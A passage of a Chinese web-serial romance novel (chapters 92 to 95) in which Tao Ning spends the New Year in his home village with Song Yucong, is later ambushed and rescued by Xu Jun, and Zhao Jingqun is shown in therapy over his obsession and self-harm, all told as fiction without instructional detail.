不知不觉,陶柠已经在海州待了三个多月。十一月底,天气微冷,医院外面的柏油路上飘了不少银杏叶。 拉好卫衣上的拉链,陶柠想起他没求几句,宋郁丛就摆出一副不耐烦的模样答应,微微勾起唇,离开前他说一定会回去,眼神里满是别扭的男人才不情不愿说了声“滚吧”。 想发个短信告诉宋郁丛不要乱发脾气,早点睡觉。一模衣服口袋,陶柠才发现又忘记带手机了,他没有带手机的习惯,只有离开前宋郁丛扔给他的钱包,里面有好几张看起来就很贵的卡,还有一些现金。 陶柠坐出租车去的胖医生所说的派出所,到了地方,结果窗口的接待员告诉他,“这个案子已经移交了,你去市公安局看看。” “好,谢谢。” 又坐上出租车花了一个多小时跑去市公安局,但陶柠刚说明来意,对方却拒绝了,说除了律师,其他人没有探视的权利。兜兜转转一圈,结果最后连个影子都没有见到。 许是看陶柠风尘仆仆赶过来,一张漂亮的脸却脸色不好,看上去是个体弱多病受不得刺激的身体。警察下意识心软了,小声告诉他说:“你是他的家属吗,放心,他应该过几天就可以出来了。” “真的吗?”陶柠的眼睛亮起来。 “嘘,小声点。看情况是这样,外面天快黑了,你快回去吧。”警察把陶柠送到门口,露出善意的笑容。 来海州后,陶柠遇到了很多形形色色的人,有蛮横的,嘲讽鄙夷他的,但更多的,其实是善意。连轴转的疲惫因为陌生人的微笑消散了,暖流划过心尖,陶柠郑重地说了声“谢谢您”后,离开了警察局。 天黑以后,陶柠回了奥克森特,宿舍门前有学生会的人,并不认识他,因为没有穿校服,学生会的人毫不留情扣了他的平时分。 陶柠乖乖认罚,借此机会又打探了徐隽的消息:“你们会长正式休学了吗?” 学生会的人不明所以,“我们会长好好的,休什么学?不知道不要乱说。” “那徐隽以后还会来学校吗?” “啊,原来你说的是上一任会长,徐隽学长早就不在学校了,我们换了新会长,你找会长有事吗?” “谢谢,没事了。” 虽然知道徐隽继续待在学校的可能性不大,但知道连会长都换了以后,陶柠眼底的光芒一点一点黯淡下去。 这天晚上,陶柠一个人睡在宿舍里,黑暗里看着前方空荡荡的床铺,罕见地失眠了。赵静群、宋郁丛、徐隽三个人的脸在脑海里不停浮现,心脏像是泡在又酸又甜的蜜罐里,鼓鼓胀胀的,三个人随便谁轻轻一戳,就破了。 次日一大早,陶柠又去了赵静群买的公寓,那个没住几天却被赵静群称作“家”的地方,就在学校附近。因为是密码锁,陶柠想进去看看。 令人惊喜的是,陶柠在这里遇到了孙老二。孙老二一看到他,便满脸激动说:“天仙嫂子,您怎么会在这里?身体怎么样了?说起这个,可真把我急死了,赵少让我以后保护您,结果宋郁丛那孙子派人在医院门口守着,我们的人只要一进去他们就给轰出来,您没在他那儿受委屈吧” 选择性忽视嫂子这个称呼,陶柠摇了摇头,“没有为什么叫以后让你保护我,他不来见我吗?” “呃,这个嘛。”孙老二有些迟疑,琢磨着到底要不要跟陶柠说,实在是赵静群干的事情他一个做下属的都受到了惊吓。 当初找到陶柠不久后,赵静群就表情阴沉让他买了一套学区房,孙老二以为这件事就到此结束了,不料没过几天,又眉梢带笑再让他买一套,所以赵静群一共让他买了两套公寓。 那时候孙老二接到电话赶过去,发现赵静群带陶柠入住的是第二套公寓,也没多想,以为第一套就闲置了,结果现在才知道,第一套公寓竟然是赵静群用来把陶柠关起来的囚笼!竟然搞非法监禁那一套……警察把赵静群带走后,就剩他还有几个属下去收拾烂摊子,那里面除了血,就剩各种令人面红耳赤的东西,看得人心惊胆战。 赵静群临走前交代过他,叫他继续保护陶柠,说保护算好听的了,其实就是二十四小时监视。那时候孙老二都觉得赵静群对陶柠的执念和控制欲太恐怖了,不像一个正常人,试探性问:“那您以后出来了该怎么办?” 隔着审讯室的玻璃,赵静群脸上没有表情,一张深邃而带着痞气的脸迅速灰败下去,孙老二甚至能看清楚他因为失落微微颤抖的眼睫,哑声说:“他恨我,不想再看到我了你替我看着他吧,不要让其他人接近他。” 问世间情为何物,直教人生死相许?孙老二看着玻璃后脸色惨白的男人,跟曾经性格阴狠,在谈判桌上毫不客气的精明市侩商人简直判若两别,觉得他这个老板死死纠缠一个男的不放,已经到了不死不休着魔的地步,又是有些招人恨又是有些可怜。 孙老二叹了口气,答应了 赵静群没说以后会不会来亲自盯着陶柠,虽然嘴上的意思是短期内不会再见了,但作为了解他心思的下属,孙老二说:“赵少过不了多久就会来找您的。” “这个多久,是多久?” 警察也说过几天,可这个几天究竟是几天? 孙老二额头冒出冷汗,“这个这个您到时候就知道了。” 陶柠沉默了一会儿,“我知道了,谢谢。”说完,转身离开了这个地方,没有力气再回应身后的呼喊,即使知道孙老二在悄悄跟踪他。 只是陶柠没有想到,接下来近两个月的时间,从期末考试完后到开始放寒假,他不仅没有见过赵静群,连徐隽也没有再见过了。 第92章 第 92 章 又带男人回来了 直到坐上返乡的大巴车, 陶柠还没有从两个月的时间已经过去中回过神,身旁的人忽然朝他靠近,双手抱臂, 一脸嫌弃说:“啧,乡巴佬, 这白色的是什么东西?恶心死了,他们乘务员有没有打扫过卫生, 操,这到底是什么东西,好恶心。” 陶柠顺着宋郁丛的视线看过去。 其实这两年往返城乡的大巴已经改良了很多, 曾经的大巴上都是用塑料做的凳子,而偏僻的地方要去一趟城市少则一两小时,多则四五个小时, 坐一路的硬板凳, 身体的痛苦可想而知。 现在的城乡大巴座位基本都换上了软垫, 虽然身体的痛苦解放不少, 但这种软垫有个很麻烦的问题,便是不耐脏, 而城乡大巴对这部分的管理不够严格,所有人一旦上车,能坐上什么样的座位, 除了抢座位的速度就全凭运气了。 但不幸的是,他们既没有速度也没有运气。而始作俑者还在喋喋不休。 起因是宋郁丛得知陶柠考完试后要回老家的想法,出院后死活要跟上来,而且还满脸心虚放言这一路上要把他当奴隶,不准其他人跟过来的话。 陶柠说不过他,就让他跟过来了。 陶柠自己的行李就一点, 但宋郁丛偏要买很多电子玩具还有一些化妆品之类的东西,打包后足足有三个行李。宋郁丛趾高气昂对他说:“这些东西都归你提。” “哦。”陶柠随手一提,没提动。 “” 恶狠狠地瞪过他后,宋郁丛冷着脸把行李几乎全提了,只有一两个轻松的包裹在陶柠身上。 于是宋郁丛提了大包小包跟在陶柠身后,一路上陶柠回头看他五彩缤纷的脸色,从最开始的好奇到看见绿皮火车后的震惊最后到看见破旧城乡大巴的愤怒,宋郁丛气得跳脚:“那破火车我就忍了,这黑不溜秋的车又是什么东西?我要坐私家车过去,你快点打出租车。” 陶柠骗他说:“没多少钱了,而且出租车到不了我家。” 他们这趟路途可谓一波三折,宋郁丛的钱包在去飞机场的路上不幸丢失,发现的时候已经到了X省,想要找回也来不及了,所以后半程的花费全靠陶柠。 陶柠精打细算,算上两人回海州的路费,钱用的很紧巴,当然不会答应宋郁丛这种无理的要求,因为出租车打表计费去他家一趟要上千块,而他们就剩一千块了。 虽说在宋家过得很不如意,但宋郁丛的确是个含着金汤匙快二十年的少爷,别说坐火车了,他连出租车都没坐过,马上要坐眼前这种轮胎和铁皮覆盖着厚厚一层泥浆的大巴,宋郁丛一张脸黑成了锅底。 后来是在司机师傅的催促和陶柠软声相劝下,宋郁丛才不情不愿上了车。他们在上车前已经耽误了很多时间,干净的好位置已经被人挑走了。 最后仅剩两个挨在一起的位置,陶柠特意把靠窗的留给了宋郁丛,后者的脸色才好一点。 但也只是好一点,当看见前方靠垫上黏着的白色不明物体时,宋郁丛心底的火彻底压不住了,开始满脸嫌弃挑三拣四。 陶柠看了一眼,淡定说:“那是口香糖。” “呕——” 当两人终于赶到黄檬村口,宋郁丛已经累到没力气挑三拣四了,陶柠也脸色惨白,即使日复一日吃药,他的身体状态也每况愈下,尤其是不明原因的青紫越来越多。 好在已经入冬,身上穿的衣服多,陶柠没有让人发现。 刚到村口,和记忆里的一样,远远的就看见一束刺眼的强光,紧跟着是陶圆响亮高兴的声音:“柠柠!在这儿呢!” 还有孩童的呼喊:“舅舅!舅舅!我在这里!” 两拨人同时靠近,陶圆看到陶柠惨白的脸,眼眶一下红了,全是茧子的手抓着他的胳膊不放,甚至有些哽咽说:“臭小子,脸色怎么那么白?是不是路上生病了?快,快点,跟我回去。” 旁边的人低咳一声,陶圆才注意到陶柠身旁的宋郁丛,本来因为心疼要哭出来的眼泪愣是憋了回去,喃喃道:“额滴个娘,哪儿来的俊俏小白脸,长得跟演员似的。” “舅舅!你怎么又带男人回来了!” “” 因为没有事先跟陶圆说会带人回来,以至于三双眼睛齐刷刷扫过来时,其中一双凤眸更是快要喷火,陶柠内心默默叹息,仿佛看到未来三人吵翻天永无安宁的日子,只好站出来做和事佬:“嗯,我们先回家吧。” 到了家里,陶圆才知道宋郁丛的身份,得知他就是资助陶柠的人,本来因为前车之鉴警惕的态度立刻来了个三百六十度转变,热情招呼宋郁丛吃饭,一边给他夹菜一边给滔滔不绝: “小宋啊,这些蕨菜你们城里没得卖,尤其是你们有钱人家肯定吃不到。你尝尝,还有这个土鸡,老娘炖了整整一天,骨头都炖烂了!绝对比你们那加了乱七八糟色素的冻鸡好吃,还有这个酸辣鱼,里面的辣椒可是我们山上新摘的诶?柠柠,你吃啊,给我夹菜做什么?” 只要家里来了客人,除非是陶圆不欢迎的,每次招待她都热情洋溢,陶柠知道她的行为言语都深受山里人影响,可能别人听起来会尴尬,但没有坏心眼,只是按照自己的逻辑实话实说。 但招待的人是不合心意就发飙的宋郁丛,而且据陶柠观察,宋郁丛吃饭一直都是分餐制 怕宋郁丛当场发火,他们吵起来就吃不了饭了,陶柠连忙给陶圆夹菜,打断她说的话,看了一眼宋郁丛,不禁有些错愕。 因为宋郁丛虽然微皱眉,陶柠知道这是他发怒的前兆,不料向来脾气差到极点的宋郁丛竟然没撂筷子,而是有些矜持地夹起一块鸡肉,缓缓吃了下去,最后,还朝陶圆露出一个很浅的笑容。 如果换作不知道宋郁丛暴脾气的人,都要被他如此斯文有礼的动作给骗了,误以为这是个真正有钱人家培养出来的贵公子。 “” 感受到陶柠略微诡异和一言难尽的目光,宋郁丛立刻收起笑,冷冷瞪了他一眼。 陶圆惊讶问:“小宋你是不是眼睛抽筋了?我那有瓶风油精,你往眼皮子上面抹一点,过一晚上眼睛都不抽了,你可别小瞧这土方子,百试百灵。” 宋郁丛看着陶柠忍俊不禁的嘴角,狠狠撕咬鸡腿,那咬牙切齿的表情就像不是在吃鸡腿,而是咬某个人身上的肉。 吃完饭,宋郁丛一脸不爽还是听话拿着衣服去塑料棚后洗澡了。陶圆趁此机会,把陶柠拉到角落里,质问说:“臭小子,你跟这男的到底是什么关系?” “……朋友,也是资助我的恩人。” “真的?”陶圆半信半疑。 “嗯。” 因为粗活干多了而早早长皱纹的脸充满纠结,岁月对陶圆这样山里的妇女极其残忍,早熟也深受上一辈封建思想的影响,可她看着陶柠落寞的脸颊,不可避免地心疼起来。 犹豫了很久,陶圆终于下定决心说:“柠柠啊,你去城里读书后,赵静群其实来找过你我没有告诉他你读书的地方,你会不会怪我?” 陶柠低下头,他再也没有办法说违心的话了,尤其是他现在很想赵静群,只好用沉默回答。忽然,头顶传来柔软的温热感,陶柠抬起眼,却看见陶圆眼底的歉意与爱。 陶圆伸手抱住她唯一的弟弟,“柠柠,对不起阿姐心里其实很愧疚,自从你去城里读书,赵静群有一段时间天天来村里,无论刮风下雨,他在咱家门口一站就是一整天,但那时候我脑子糊涂就瞒着这件事。” “柠柠啊,阿姐也是后来才想清楚,他是真心把你当对象疼的当初我拆散你们,不仅是为了你的前途着想,更怕你上当受骗。男人女人处对象还能结婚,起码有一点保障,但结婚后散了的夫妻也多了去了,更何况两个男的?他要是占了你的便宜跑了,阿姐上哪儿给你说理去?” 陶柠说:“我知道,不怪阿姐。” 陶圆放开他,露出一个似苦似无奈的笑,又抬手摸了摸他的头。 “不,阿姐错了。”她温声说。“阿姐现在只希望你幸福,如果柠柠未来依旧想跟男人在一块儿,阿姐阿姐会支持,但那个男人要是敢欺负你,阿姐拼了这条老命也要把他命根子剁了!” 愣了愣,陶柠笑起来,重重地点了下头。 “好。” 而因为受不了天寒地冻,洗了几分钟澡就出来的宋郁丛站在墙后的阴影里,没有听见他们的对话,只看到陶柠和陶圆温暖相处的画面,有些向往且眷恋地看着陶柠清瘦的背影。 到了睡觉的时候,陶柠和宋郁丛躺在一个被窝,相比城镇夜晚的喧闹,深山中万籁无声,只能听见窗外猎猎作响的寒风,还有树枝的簌动声。 睡意一点一点袭来,陶柠迷迷糊糊闭上眼,就在他快要进入睡梦中时,旁边的被子忽然掀开,冷风灌进来,随即身上一重。 黑暗中,宋郁丛按住他的肩膀,那双凤眸因为火气亮得吓人,咬牙切齿问:“我想起来了,白天那小屁孩说你又带男人回来是什么意思?!” “” 第93章 第 93 章 冰凉的吻 在家待了半个月不到, 新年悄无声息降临了。宋郁丛依旧没有回去的打算,陶柠也由着他,只是这人一直对“他竟然不是第一个被带回家的男人”这件事耿耿于怀, 直到除夕夜当晚,不爽的脸色才好看点。 陶柠说:“你是第一个陪我过春节的男人。”说到最后两个字, 声音渐渐小起来,裹在毛绒绒衣领里的脸颊微红, 像冬季里被人诱哄出洞的白绒小动物。 虽然说的是事实,可说出口来总觉得有些不好意思。 自建房的保温效果不好,尤其是在山中, 即使房子里烧了温暖的炭火,依旧会有些冷。站在陶柠面前的宋郁丛听到这话,红晕从耳尖一路烧到脖子根, 目不转睛盯着陶柠的脸, 等反应过来, 连忙扭过头, 哼了一声:“油嘴滑舌。” 又装模作样嫌弃说:“这乡下的房子冷死了,脸都冻红了乡巴佬, 再给我找件衣服过来穿。” 陶柠笑了笑,捧着一碗白菜炖粉条放在桌上。“嗯,等会给你, 先坐下吧,要吃年夜饭了。” “来了来了,雪花丸子来了。”陶圆端着最后一碗菜从厨房风风火火出来,寓意团圆的雪花丸子摆在了餐桌正中心,笑得合不拢嘴,“都傻站着干嘛呀?还不快坐下吃饭, 今年春节我买了特别多的鞭炮,吃完饭后柠柠你就带着小宋和小檬他们去玩,你二婶喊我打牌,臭小子,这大热闹的日子你可别喊我回来!” “好。” 宋郁丛小声嗤笑:“就他这副病歪歪的样子还带我放炮?啧,怕不是会被炮声吓哭。” 不过转念一想,如果少年撒娇求他点燃拿在手中的烟花棒,软着嗓音喊他“少爷”,笑得又漂亮又甜。或者抱着他委委屈屈说“鞭炮声好吓人”然后主动钻进他怀里诸如此类的行为。 宋郁丛心尖微动,觉得放鞭炮这种无聊的活动也不是不行。 结果这句话被陶圆听见了,顿时哈哈大笑,拍着腿说:“我们柠柠八岁就敢放炸湖的鱼雷了,把其他家的小孩儿吓哭了都还在玩,哈哈哈哈。他胆子大着呢,小宋你就放宽心跟柠柠玩儿。” 宋郁丛:“” 幻想破灭,果然陶柠那呆子根本不知道怕是什么东西。 除夕夜傍晚六点,外面准时响起铺天盖地的鞭炮声,而电视里正播放春晚前的预告,到处都是欢声笑语。深山小小的自建房内,接二连三响起“新年快乐”的祝福语。 幸福原来如此简单 只是人一旦发觉自己处于幸福漩涡里的时候,通常意味着离别的日子已经到来了。陶柠把宋郁丛让他转交的贵重礼物给了陶圆和小檬,说这是他千辛万苦提着三个行李箱带回来的。 陶圆笑得合不拢嘴,也不客气收下了。 后面,陶柠又被她拉着絮叨照顾好身体的事情,塞了一些钱,最后才依依不舍放他走。 “柠柠,阿姐和小檬永远都是你的后盾,我们只希望你高兴,无论你未来想做什么,是继续待在城里面还是回来跟着阿姐卖柠檬,阿姐都支持你。” “好。” 回去的大巴上,陶柠递给宋郁丛一个木盒子。 “什么东西?”宋郁丛被车内的味道熏得想吐,皱眉接过来,打开后,里面是一个精致的金镯子,镯子下面压着一个红包。 “这是初次去你家时宋夫人给我的镯子,我送给阿姐了,阿姐觉得太贵重一直收着,现在还给你你留着做个念想。”陶柠顿了顿,“下面是我给你的压岁钱。宋郁丛,新年快乐。” “愿你岁岁平安,诸事顺意。” 陶柠微微笑着,车窗外的光线洒在他身上,冬季的寒冷似乎因此无声融化。宋郁丛盯着掌心的镯子和压岁红包,因为低头看不清神色。 这时候,大巴车经过隧道,周围霎时间暗下来,身旁人猝不及防靠近,一个有些冰凉的吻落在陶柠脸颊上。 整个过程只有两三秒,快到陶柠根本反应不过来。 “咳,”偷吻后,宋郁丛迅速端正身躯,扭过头看窗外重新出现的风景,不自在地咳嗽几声,耳根红成了煮熟的虾蟹,“那我就勉为其难收下。” 所以他没看到,身后的人错愕地捂住被亲过的地方,表情失神,似乎想起来一些事情。 后来宋郁丛脖子上多出来一条金项链,还有些粗,衬得他不像豪门中出来的公子哥,反倒是什么炫富的暴发户,别人想碰还用冷冰冰的目光吓得人把手缩回去。只是这些都是后话了。 * 回到学校后,陶柠的生活彻底进入正轨,每日班级和宿舍两点一线,偶尔去奥赛班集训刷题。因为宿舍里只剩他一个人了,学校给他安排到了新宿舍,巧的是,新室友刚好是路决。不过路决看上去没了以前的阳光开朗,反而满脸惆怅。 陶柠问他发生了什么事,路决叹气说他哥哥被高空抛物砸伤了,现在人在医院昏迷不醒,所以很担心。 想起那天生物讲座上自信耀眼的黑发青年,陶柠也跟着担忧起来,也安慰他,说一定会好起来的。 路决露出一丝苦笑,转移了话题,“哦对了,柠柠你知道徐隽吗?就是以前跟我们一个班的,学生会那个前任面瘫脸会长,他休学后自己创业去了,现在特别神气,成了一家金融公司的老板。唉,你说人比人真是气死人,他高一那会儿校长亲自把他从一中请到咱学校来,自那以后就霸占年级第一的位置快三年,还从一个转校生做到有实权的学生会会长,认识了很多上流社会的人,现在休学了又成了大老板。唉,柠柠,你说这气不气人?” “靠我给忘了,柠柠你现在是年级第一!你们这些学霸都很气人啊!我跟你说” 陶柠有些心不在焉地点了点头。 回到学校后,他既没有赵静群的消息也没有再见过徐隽,这两个人似乎已经在他的生命中彻底消失了,只是偶尔还能得到一些有关徐隽的消息,就像路决所说的,他现在意气风发,应该很风光。 而赵静群却是彻底杳无音信,唯有孙老二时常带他去医院检查身体,只是每次从医院出来,孙老二的表情都有些沉重。宋郁丛最近也很少说不好听的话了,就是周末回去会半威胁半商量让陶柠吃各种各样的补品。 他似乎很忙,陶柠也很少看见他。 直到偶然一天,陶柠在报纸上看见了宋郁丛,媒体新闻标题上写“横空出世的音乐才子”“备受争议的豪门歌手”等等,后来陶柠甚至在电视上见到了宋郁丛。 液晶屏幕上,宋郁丛依旧冷着一张脸,黑色英伦风西装红领带,无数闪光灯聚焦在他身上。陶柠仿佛回到初见宋郁丛的时候,的确高傲得像孔雀。 原来宋郁丛是去做歌手了。陶柠心想,难怪他最近总是戴着黑色口罩出现,跟他吃个饭也弄得很隐蔽神秘,身边跟着的保镖也越来越多了。 “柠柠你有在听不?”路决的声音在耳边响起,眼前有只手挥了挥,陶柠回过神,慢吞吞点了点头。 路决的表情已经从最开始的惆怅变成了解气。“尤其是那个刘玉良,他那时候造谣你作弊,煽风点火撺掇人一起骂你,好在柠柠你被证明是清白的了,刘玉良自食恶果,在论坛上被人骂成了马蜂窝。我以为从那以后他这人就老实了,结果你是不知道刘玉良有多讨人嫌,趁你身体不好没在学校那段时间又开始说你坏话。幸好这恶人有恶报,前不久他被学校劝退了哈哈哈,还是因为作弊这个理由!简直太解气了!” 提起这件事,陶柠终于想起刘玉良这个人是谁了,对于他最后因为作弊被劝退,也无甚想法,毕竟对陶柠来说,刘玉良是个无关紧要的人。 如果不是路决提起来,他绝对想不起来刘玉良是谁。 “我靠,再不走天色就要黑了,柠柠,我先走一步啊,我哥还在医院” 正值周五放学,路决收拾好书包后,跟陶柠道完别,急匆匆走出宿舍,陶柠看着他离开后,也开始收拾衣物回公寓。 他没有忘记和赵静群的承诺,只是周一到周五住宿舍里,周六周日会回公寓住,偶尔宋郁丛一个电话打过来,会派车接他回宋家休息。 日子就是这样一天一天过去,看上去非常平静,但陶柠总感觉有些不安,因为他失去系统和赵静群的消息已经很长一段时间了,后者问孙老二,孙老二却支支吾吾语焉不详。 慢慢的,陶柠就不问了。 直到这一天,陶柠想起他的两个手机,打开一看,愣住了。 赵静群送给他的手机上有一条未知号码的短信,只有简短四个字——[新年快乐]。而徐隽送给他的手机上,收到了一条银行卡账户资金变动的消息,陶柠的卡上突然多出了一大笔钱,足足有二十万。 因为这两条短信,陶柠走在路上出神,差点撞到了前方的面包车。 “眼睛瞎啊?怎么看路的!撞坏了你赔?!”面包车上忽然下来了几个人高马大的男人,语气非常冲。 猛地回过神来,陶柠连忙道歉,“对不起,我不是故意的。”低头看了一下面包车的后位灯,没有任何刮伤,想想也是,他只是用身体碰到了,以人体皮肉的弹性和柔软度,根本对这种铁皮车造成不了伤害。 想指给他们看,没想到这几个男人突然朝他包围过来,陶柠这才发现,这些人全部戴着口罩,衣着统一,手腕上都是狰狞的刺青,而且眉目不善,面面相觑后全向他看过来。 这些人不像是来追究他碰到车这件事的! 毫不犹豫,陶柠立刻转身就跑。 “操他娘的!这小子太敏锐了!快给我追!” 第94章 第 94 章 清醒的疯子 回公寓的路在面包车前方, 而陶柠现在只能往反方向跑,要命的是,附近没有多少店铺, 还因为天色已晚,路上已经看不见行人了。 身后穷追不舍的脚步声仿佛死神在追逐, 密集的心跳在暗色里显得愈发急促,陶柠大口大口喘着气, 一刻也不敢停,可因为身体羸弱,连边跑边呼救的力气都没有。 跑快跑不能被抓到 路边忽然多出来一条巷子, 陶柠看准时机闪进去,随后迅速推翻巷子口的垃圾桶,追过来的人因为突如其来的拦路垃圾, 一个刀疤脸被绊倒在地上, 疼得表情扭曲, 怒骂道:“快给王雄他们打电话!那小子太难抓了, 等把他抓到,事后老子一定要弄死他” 暴怒的声音逐渐远去, 巷子里的道路错综复杂,陶柠把身后的人成功甩掉了。但肾上腺素飙升后,紧跟而来的是剧烈的头晕和恶心感, 眼前开始一阵一阵发黑。 陶柠没看清地上的石头,一个重心不稳,连带着整个人摔倒在地。“啊!”手肘上传来的疼痛让陶柠痛呼出声,疼到一时间站不起来。 眉头不由紧蹙,陶柠缓慢掀开衣袖,胳膊下的擦伤露出来。青紫的伤痕其实不大, 只有一小快破皮的地方,然而恐怖的是,短短几秒之内,血液就像断了线珠子从狭小的伤口疯狂涌出。 血液越聚越多,一分钟左右,陶柠的胳膊肘下就被血液浸透了,血淋淋的,看着非常吓人。 忍着痛叹了口气,陶柠头昏眼胀,因为刚才拼命逃跑已经花光他所有力气了。不行一定要去医院。 抖着手打开手机,屏幕已经碎了。陶柠眼前发黑,聊天框上一条消息是未知号码的“新年快乐”,刚敲下一个字,还没发送。 砰的一响,手机被人重重拍到地上,头顶传来狰狞的笑声,“小子,他妈的敢玩我们是吧?你倒是跑啊,现在看你还能跑到哪儿去?” 陶柠想跑,却已经来不及了,因为巷子里太暗看不清情况,加上他失血过多反应变得迟钝,不知不觉下前后的路被人包围了。“你们想干什么?我可以把身上值钱的东西都交出来。” 满脸肥肉的男人原本想一脚把陶柠踢倒在地,但陶柠抬起头后,看到他那张漂亮到不似真人的脸,瞬间改变了注意,面露贪婪,眼底浑浊的欲.望快要迸发出来,嘿嘿直笑:“小美人,我们可不要你的钱。不如这样,你让老子□□了,我就大发慈悲放过你怎么样” 说着正要上手摸,旁边传来一记肘击,正是不久前被垃圾绊倒的刀疤脸,他不耐烦道:“你个精虫上脑的傻逼,他是赵义要的人,说了全须全尾绑过去,你现在敢动他?快点绑了带走,事成后你想怎么弄都行。” 赵义? 陶柠捕捉到这两个字,他是谁?为什么要抓自己?姓赵,会和赵静群有关吗?知道以自己的力量逃不出去了,干脆不再反抗,让这些人用粗糙的绳子绑住双手,暗地里却保留思考的力气想办法逃走。 “草,你们看他的手,丫的都是血,这小子身上没毛病吧” “反正死不了,快走。” 陶柠低头跟在他们身后,就在一群人要出巷子口时,咔嚓一声响,骨头断裂的声音响起,随即是肥肉男撕心裂肺的惨叫声。“啊啊啊啊!!” “陶柠!”黑暗中,人群混乱之际,一个清冽带着很淡消毒水的味道扑面而来,下一刻,陶柠被人抱在了怀里。 来人的怀抱温暖且充满安全感,扣在腰后的手用的力气却极大,仿佛抱住了失而复得的宝贝。 是徐隽。 这个怀抱非常短暂,只有几秒钟的时间,徐隽却已经趁机迅速解开了陶柠身上的绳子。 把陶柠护在身后,徐隽手持钢管转身,目光冷冷看向朝他们包围而来的人,足足有十三个,还有两三个人的身高甚至超过了他,将近两米高。 但即便如此,徐隽的脸色也丝毫未变,镜片后的目光警惕冰冷,依旧以守护者的姿态,牢牢地把陶柠挡在身后,甚至分心低声安抚:“别怕。” 声音如雪山上落下的冻泉,明明不带多少起伏,却轻而易举抚平陶柠内心的恐惧,让他有力量冷静下来。 没有多余的时间询问徐隽为什么会突然出现,陶柠只能不拖后腿,颤声道:“好,我不怕。” “他妈的哪儿冒出来的臭小子?!”刀疤脸扶起肥肉男,后者一整条胳膊的骨头都断了,可见下手人出击迅速,心性狠厉。但随之而来的,是被挑衅后瞬间燃烧的怒火。 刀疤脸一挥手,有人直接掏出了刀子,“抓住他!老子要扒了他的皮!!” 十多个人冲了过来,前后左右都有人。徐隽喝道:“跟紧我。”话落,冰冷的钢管甩在冲上来的人身上,接二连三的痛呼声划破死寂的黑夜,陶柠用书包防卫想来偷袭徐隽的人。 嘶啦一声!刀子割破了白色的衬衣,皮肉翻开,鲜血瞬间从腹部涌出。徐隽闷哼一声,额头渗出冷汗,但咬牙忍住了。 对面抓准了徐隽失神的机会,一拳头砸过去,身边人又是一脚踢了过去,一瞬间,数不清的拳头砸在身上,还有几道泛着阴森银白的刀光。 “不要!”陶柠想冲过去帮徐隽,却被人半路拦截,刀疤脸直接一脚踢中他的膝盖,刺骨的疼痛顷刻间钻入四肢百骸。 陶柠重重地摔倒在地,鲜红的血液再次从胳膊肘上的伤口流出。 而一个人的力量根本招架不住十多人,徐隽吐出一口血,速度开始变得迟钝,旁边又袭来一拳头,终于不堪重负,徐隽倒了下去,碎掉的眼镜上都是血。 然而这些包围的人也没讨到多少好,因为徐隽自始至终冷静理智,反应速度极快,挥出的钢管折断了许多人的骨头。 十多个人花了半个小时的时间才把徐隽制服在地,自然新仇旧恨一起算,砸过去的拳头又狠又重。 “不要不要求求你们不要” 伤口和膝盖上的伤已经痛到麻木,雪白的脸上已经涕泪横流,陶柠死死盯着被人包围的徐隽,里面传出来一下接一下拳头砸在肉上的声响好似刀子,不断凌迟心脏。 绝望笼罩陶柠,嗓音已经哭到沙哑,能发出来的声音越来越微弱,“我跟你们走,求你们我跟你们走,你们放过他吧,他只是路过求你们” 就在这些人准备打算捅穿徐隽的腹部时,巷子外忽然传来刺耳的警笛声,有人急匆匆赶过来,当借着月色看到巷子内惨不忍睹的场景时,脸色一白,但还是强忍恐惧,颤颤巍巍道:“快快走吧警察来了,要来抓我们了。” 刀疤脸单手扛起已经失力晕过去的陶柠,冷哼:“住手!都别打了,算那小子走远,我们走!”经过巷子口的人时,露出玩味的笑容,“要多谢你了好学生,如果不是陶柠有你这样的同学,我们怎么可能引开他身边的人,这么容易抓到他呢哈哈哈哈。” 警笛声越来越近,有车辆途径这片黑暗的地方,一刹那的车灯光线,照出刘玉良惨白的脸。 * “赵先生,请问您今天的感觉如何?有控制住自残的行为么?” 心理医生拿出记录本,按照惯例打算记下病人每日的言行举止。问候的话说出口后,却迟迟得不到回应,心理医生抬起头,撞入一双空洞漆黑的眼睛。 即使每天看见这双眼睛三个月有余,但每一次,心理医生都会有种毛骨悚然的感觉,同时,对办公桌前这个叫赵静群的病人报以一丝怜悯。 赵静群是三个月前来找他进行心理治疗的,那是心理医生第一次见这个男人,初次见面,便被对方浑身散发的阴郁和麻木吓了一跳,不仅如此,男人消瘦的脸上还笼罩着一层死亡气息浓烈的灰败。 心理医生只在自杀后被救回来的病人身上见过那样的灰败,无一例外,这些人的求生欲极低。 果不其然,当男人做完一系列心理测评和问答后,评估报告上显示,病人有极大概率是潜在的反社会人格障碍,按理来说,这是一个非常危险的人,因为这种人的犯罪率极高,往往是罪大恶极的连环谋杀犯。 这种人通常不具备最基本的同理心,道德观念低下,行事风格往往冷漠残忍,不把人逼上绝路不会善罢甘休。 然而矛盾的是,赵静群身上还反映出严重的抑郁、自残倾向,这样的人偏偏又具有多愁善感、极具悲悯心的性格。两种完全南辕北辙的特征结合在一起,呈现出诡异的矛盾感,却也能够解释他身上极低的求生欲和麻木的冷漠。 而令心理医生更加惊讶的是,造成这一切的,仅仅是因为一个人,赵静群从未说过那人是谁,只会用“他”来替代。 最开始,赵静群开口说的第一句话是: “我想杀掉他。” 说这话的时候,赵静群的眼睛空洞没有焦点,可心理医生却觉得,那双漆黑的瞳孔后有一头不通人性的野兽,正直白且坦然地诉说压抑的秘密。 顿了顿,赵静群露出一抹很浅又有些渗人的笑容,“因为他不爱我。” “把他关起来的那段日子,我非常非常满足,却还是改变不了想杀掉他的念头,因为如果能跟他死在一起,该是多么美好的事情。” “但每天晚上,当我的手伸到他脖子上时,我却舍不得了,后来只要产生这个念头,我就会用刀子划伤自己的胳膊。” 赵静群自顾自说:“我没有办法了,只要一看见他我就控制不住自己的想法,既想杀掉他和我葬在一起,又想把他永远关起来,只看到我一个人可为什么他不能只爱我一个人?” 毛骨悚然的话被眼前的人用平静的语气说出来,饶是见多识广的心理医生,也有些招架不住,咽了下口水,犹豫着问:“那您知道自己的想法是不正常的么?” 不料,办公桌前的男人微微笑起来,“我知道。” 他缓慢拉开衣袖,露出胳膊上新旧交替的刀疤,根本数不清有多少条,密密麻麻整只胳膊都是疤痕。 “你看,我知道自己不正常,所以在自我控制。” “我已经两个星期没见过他了,我很想他,可担心见到后会伤害他。” “现在我觉得自己要控制不住了,所以想来借助药物。” 原来是个清醒的疯子。 第95章 第 95 章 治疗的第一步 日常的心理治疗结束, 赵静群回到了三个月来一直待的病房,这其实是一家精神病院,有病人大哭大笑的, 还有病人看似平静的,赵静群是后一种。 从警局出来后, 他被生理学上的父母臭骂了一顿,说赵家家大业大, 